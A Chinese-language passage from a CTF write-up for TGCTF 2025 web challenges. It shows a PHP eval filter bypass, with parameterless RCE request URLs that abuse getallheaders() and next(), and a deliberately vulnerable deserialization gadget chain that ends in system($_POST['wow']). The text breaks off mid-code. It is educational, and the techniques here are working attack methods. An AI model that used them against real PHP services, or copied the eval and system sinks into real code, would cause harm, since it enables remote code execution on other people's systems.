TGCTF web

AAA偷渡阴平

这个题是一个非预期的无参RCE

<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\（|\）|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
   
   
    //hint：你可以对着键盘一个一个看，然后在没过滤的符号上用记号笔画一下（bushi
    eval($tgctf2025);
}
else{
   
   
    die('(╯‵□′)╯炸弹！•••*～●');
}

highlight_file(__FILE__); 

这里只给了数字2，所有的字母，和一些符号 ，这里貌似是过滤了()，但是仔细看的话可以发现这里的括号其实是中文，也就是等于没有过滤。

先说下无参RCE的打法。

http://node1.tgctf.woooo.tech:31293/?tgctf2025=var_dump(getallheaders());

http://node1.tgctf.woooo.tech:31293/?tgctf2025=var_dump(next(getallheaders()));

这里通过next获得Pragma这个参数，这个参数是我们可以控制的。

这样在外边在套上一层eval就可以了

什么文件上传

开题一个文件上传点，尝试之后发无论上传什么内容都会报错，无法成功上传。

爆破一下路径发现robots.txt

这里重点看一下class.php

看到源代码

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    function best64_decode($str)
    {
   
   
        return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
    }
    class yesterday {
   
   
        public $learn;
        public $study="study";
        public $try;
        public function __construct()
        {
   
   
            $this->learn = "learn<br>";
        }
        public function __destruct()
        {
   
   
            echo "You studied hard yesterday.<br>";
            return $this->study->hard();
        }
    }
    class today {
   
   
        public $doing;
        public $did;
        public $done;
        public function __construct(){
   
   
            $this->did = "What you did makes you outstanding.<br>";
        }
        public function __call($arg1, $arg2)
        {
   
   
            $this->done = "And what you've done has given you a choice.<br>";
            echo $this->done;
            if(md5(md5($this->doing))==666){
   
   
                return $this->doing();
            }
            else{
   
   
                return $this->doing->better;
            }
        }
    }
    class tommoraw {
   
   
        public $good;
        public $bad;
        public $soso;
        public function __invoke(){
   
   
            $this->good="You'll be good tommoraw!<br>";
            echo $this->good;
        }
        public function __get($arg1){
   
   
            $this->bad="You'll be bad tommoraw!<br>";
        }

    }
    class future{
   
   
        private $impossible="How can you get here?<br>";
        private $out;
        private $no;
        public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

        public function __set($arg1, $arg2) {
   
   
            if ($this->out->useful7) {
   
   
                echo "Seven is my lucky number<br>";
                system('whoami');
            }
        }
        public function __toString(){
   
   
            echo "This is your future.<br>";
            system($_POST["wow"]);
            return